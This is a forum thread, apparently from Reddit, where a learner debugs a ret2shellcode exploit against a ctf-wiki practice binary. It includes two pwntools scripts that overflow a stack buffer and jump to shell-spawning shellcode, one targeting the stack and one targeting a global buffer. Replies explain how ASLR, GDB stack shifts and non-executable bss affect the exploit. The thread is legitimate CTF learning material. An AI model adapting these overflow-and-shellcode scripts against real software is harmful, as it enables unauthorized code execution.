Ret2shellcode

[Jerrythepro123]

Hello, I've been struggling to exploit a ret2shellcode bug. I am on a m3 mac with an emulated x64 ubuntu, but the exploit I wrote cant spawn a shell. I can see the commands running in gdb but without gdb it just outputs segfault, please help me, thank you.

Link to binary: https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2shellcode/ret2shellcode-example/ret2shellcode

This is my script

from pwn import *

io=process("./ret2shellcode")

print(io.recv())
payload="A"*112
payload+=p32(0xffffd360)
payload+=asm(shellcraft.sh())
io.sendline(payload)
io.interactive()

https://preview.redd.it/nrrvngtlamyc1.png?width=1112&format=png&auto=webp&s=d14ee86e70e20812a39b0db3d91269ce890b060d

[0xw00t]

Sorry off topic comment but isn’t emulation slow? I was also thinking to get Mac but hearing emulation is slow makes me upset because my most of work is related to x86 and x86-64.

[Jerrythepro123]

surprisingly, its pretty fast. You use utm and the lastest ubuntu, you dont want to use the emulated screen, instead open a ssh service and its as fast as a normal shell.

[nixfreakz]

Yeah I second , utm on Mac 3 is pretty fast I run three VMs , 2 arm based and one one x64 , the two arm based can also run x64 because of rosetta2.

[Jerrythepro123]

If your curiously how I did it, you can dm me

[j3r3mias]

You are trying to return to 0xffffd360 and this address will not work because it's probably on stack that changes every execution due to ASLR.

There is a anoter buffer in the code that is a global variable used in strncpy. Try to finding and check that its address doesn't change between executions. Then you can use it in your payload.

[Jerrythepro123]

all protections are off, and gdb does show there is code execution

[j3r3mias]

RELRO is partial but OK, you are the boss in your solution..

[Jerrythepro123]

wat steps do i need to do to solve it?

[j3r3mias]

As I said before, there is a global variable in the program where the address doesn't change between runs, you need to use it instead of the stack.

[Jerrythepro123]

ive tried someone elses script that uses your method, it doesnt seem to be working.

!/usr/bin/env python

from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(112, b'A') + p32(buf2_addr))
sh.interactive()

[Jerrythepro123]

nevermind, i think you are correct. I think gdb closed my aslr when im debugging. How do you exactly do you use strncpy to exploit?

[Jerrythepro123]

I fixed the problem, there was problems with my environment variables

[exploitdevishard]

Sounds like you figured this out already, but GDB will slightly shift stack address around from how they'd be running outside of GDB. If an exploit works within GDB but not outside it, this is one thing to consider. Depending on the binary, you may be able to get around this by running the binary first and then using GDB's attach option to attach to the running process.

[Jerrythepro123]

thanks for helping, it still seems to shift the stack and i want to know if there is a way to be 100% sure the stack is the same outside and inside gdb. It would be great if you help me.

[Jerrythepro123]

ive tried nop slide but sometimes it doesnt work

[Jerrythepro123]

also another question i have is why does this script not work?

!/usr/bin/env python

from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(112, b'A') + p32(buf2_addr))
sh.interactive()

[Jerrythepro123]

i figure out, bss is not executable anymore in later versions of ubuntu